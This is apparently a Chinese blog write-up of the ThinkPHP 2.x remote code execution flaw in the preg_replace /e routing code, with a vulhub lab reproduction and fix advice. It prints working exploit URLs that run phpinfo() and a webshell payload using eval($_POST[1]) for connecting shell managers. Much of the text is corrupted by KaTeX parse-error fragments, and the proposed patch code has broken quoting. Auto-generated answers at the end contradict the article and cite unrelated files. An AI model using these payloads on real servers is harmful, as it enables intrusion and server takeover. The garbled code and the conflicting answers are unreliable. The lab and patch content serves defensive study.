ThinkPHP 2.x 任意代码执行漏洞

漏洞描述

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架。ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.‘([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本

Thinkphp2.x系列以及ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞分析

漏洞原由是因为preg_replace的/e模式匹配路由导致的代码执行:KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.‘([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths));为了明白漏洞产生的原因,我们先了解下面几个知识点。

e和/e:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 为PHP专有参数,表示可执行模式

preg_replace()函数:

preg_replace()函数是一个替换函数,支持正则匹配。匹配规则是:(‘正则规则’,‘替换字符’,‘目标字符’)也就是说如果传入的目标字符,符合正则规则的字符的话就替换这个字符。

如果说在正则规则用的是/e而不是e,那么当传入的目标字符,符合正则规则的的话,就就会执行‘替换字符’的内容

<?php
 
@preg_replace('/a/e','print("hello jammny!");','abc');>

在这里插入图片描述

问题代码存在/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

img

根据注释知道这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。

重点关注代码

// 分析PATHINFO信息
 
        self::getPathInfo();
 
 
        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
 
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
 
            $var  =  array();
 
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
 
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
 
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
 
                    // 禁止直接访问分组
 
                    exit;
 
                }
 
            }
 
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
 
                $var[C('VAR_MODULE')]  =   array_shift($paths);
 
            }
 
            $var[C('VAR_ACTION')]  =   array_shift($paths);
 
            // 解析剩余的URL参数
 
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
 
            $_GET   =  array_merge($var,$_GET);
 
        }

前面的self::getPathInfo(); 表示没有路由规则,因此会按默认规则调度URL。也就会执行这段有问题的代码:KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.‘([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths));

'KaTeX parse error: Got function '\\' with no arguments as argument to '\'' at position 7: var[\'\̲\̲1\']="\\2";'是对数…var = array();表示创建了一个空数组。(\w+)/([^/]+),这个正则的意思是每次取路径的2个参数,依次排序。举个例子:

<?php
 
$var = array();
 
preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/b/c/d/e/f");
 
print_r ($var);

img

每次取出2个参数,第一个参数作为数组的键,第二个参数作为数组的值。因此如果’a/b/c/d/e/f’的参数是可控的,那么我们就能进行代码执行。

<?php
 
$var = array();
 
preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/{${phpversion()}}/c/d/e/f");
 
print_r ($var);

在这里插入图片描述

p a t h s = e x p l o d e ( paths = explode( paths=explode(depr,trim($_SERVER[‘PATH_INFO’],‘/’));表示当前路径。

implode( d e p r , depr, depr,paths)作用就是把路径当作参数放进了数组$var里面。

由于下面的代码:

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
 
                $var[C('VAR_MODULE')]  =   array_shift($paths);
 
            }
 
            $var[C('VAR_ACTION')]  =   array_shift($paths);

因此路径前2个值是要作为模块和动作的,如果模块和动作还没有定义就删除它。因此可以构造payload如下

*构造payload:*

ThinkPHP 5.1在没有定义路由的情况下典型的URL访问则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

thinkphp 所有的主入口文件默认访问Index控制器(模块),thinkphp 所有的控制器默认执行index动作(方法)

因此可以构造payload(注意函数放在键值的位置):

http://192.168.30.128:8080/?s=/Index/index/jammny/${@phpinfo()}
 
http://192.168.30.128:8080/?s=/a/b/c/${@phpinfo()}/e/f

漏洞复现

我这里vulhub环境:https://vulhub.org/#/environments/thinkphp/2-rce/

开启环境:
在这里插入图片描述

使用payload 直接访问,即可执行phpinfo():

http://192.168.111.6:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

在这里插入图片描述

利用该漏洞可直接getshell,下面给出一个能够直接蚁剑(菜刀)连接的payload:

/index.php?s=a/b/c/${@print(eval($_POST[1]))} 

在这里插入图片描述在这里插入图片描述

修复建议

用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths));


修改为:

```php
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: 这个问题是关于ThinkPHP 2.x是否存在代码漏洞的。据我所知,目前没有任何官方宣布过该版本存在漏洞的消息。但是任何一个应用程序都有可能存在漏洞,因此在使用任何版本的框架时都需要小心谨慎,并始终保持最新版本的更新。如果发现了任何问题,应该及时向官方反馈。 ### 回答2: thinkphp是一款非常流行的PHP开源框架,其中的2.x版本存在任意代码执行漏洞。该漏洞存在于框架的核心类文件中,攻击者可以构造特殊的参数,在受害者服务器上执行任意代码,导致服务器被入侵,甚至整个网站被控制。 具体来说,当用户的输入作为参数传递给框架的Loader类时,如果没有进行充分的过滤和验证,攻击者就可以通过注入恶意代码,来控制服务器。在thinkphp 2.x版本中,以下方法是存在问题的: ``` thinkphp/library/think/Loader.php -> import()方法 thinkphp/library/think/Template/Driver.php -> abstract parse()方法 ``` 在import方法中,如果用户通过GET或者POST请求向网站提交数据,在没有进行过滤的情况下,该参数会被直接传递给Loader类,当该参数中含有'://'或者'\\'时,Loader类会默认该参数为URL或文件路径,进而执行include等相关操作,这为攻击者提供了一个绕过安全限制的途径。 在parse方法中,如果用户提交了一个包含PHP代码的模板文件,攻击者可以通过提交的数据来控制parse方法执行时所使用的函数和参数,进而达到任意代码执行的效果。 为了避免该漏洞的出现,开发人员需要注意代码编写规范,尽量避免使用用户输入的数据来构造URL或文件路径,同时需要对用户输入进行充分的过滤和验证,包括数据类型、长度、格式等内容。此外,开发人员也可以使用更加先进的开发框架,或者借助第三方安全验证工具,对网站进行全面的安全测试,以及时发现和修复漏洞,保护网站安全。 ### 回答3: ThinkPHP是一款流行的PHP开发框架,被广泛应用于各种Web应用程序的开发。ThinkPHP 2.x是其中的一个早期版本,该版本因存在任意代码执行漏洞而备受关注。 该漏洞存在于ThinkPHP 2.x的模板解析机制中,该机制允许开发人员在视图页面中使用变量替换来展示动态内容。然而,在未对变量进行过滤的情况下,攻击者可以构造恶意变量,从而实现任意代码执行的攻击。 具体来说,攻击者可以通过在URL参数或提交数据中注入恶意变量来触发漏洞。该变量包含恶意代码,以及一些特殊参数来控制代码执行。攻击者可以通过该漏洞执行系统命令、读取敏感文件、获取访问权限等。 该漏洞的危害性较大,因此开发者应尽快升级到更高版本的ThinkPHP框架,或者采取其他措施来修复漏洞。具体措施包括: 1. 对用户提交的数据进行严格过滤和验证,确保不含有可疑的代码或命令。 2. 设置安全防护机制,如禁止用户上传和执行PHP文件、限制文件读写权限等。 3. 及时升级系统补丁,修复已知的安全漏洞。 总之,任意代码执行漏洞是一种非常危险的漏洞类型,需要开发人员加强安全意识和技术能力,采取有效的预防和修复措施,以确保Web应用程序的安全可靠。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ranwu0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值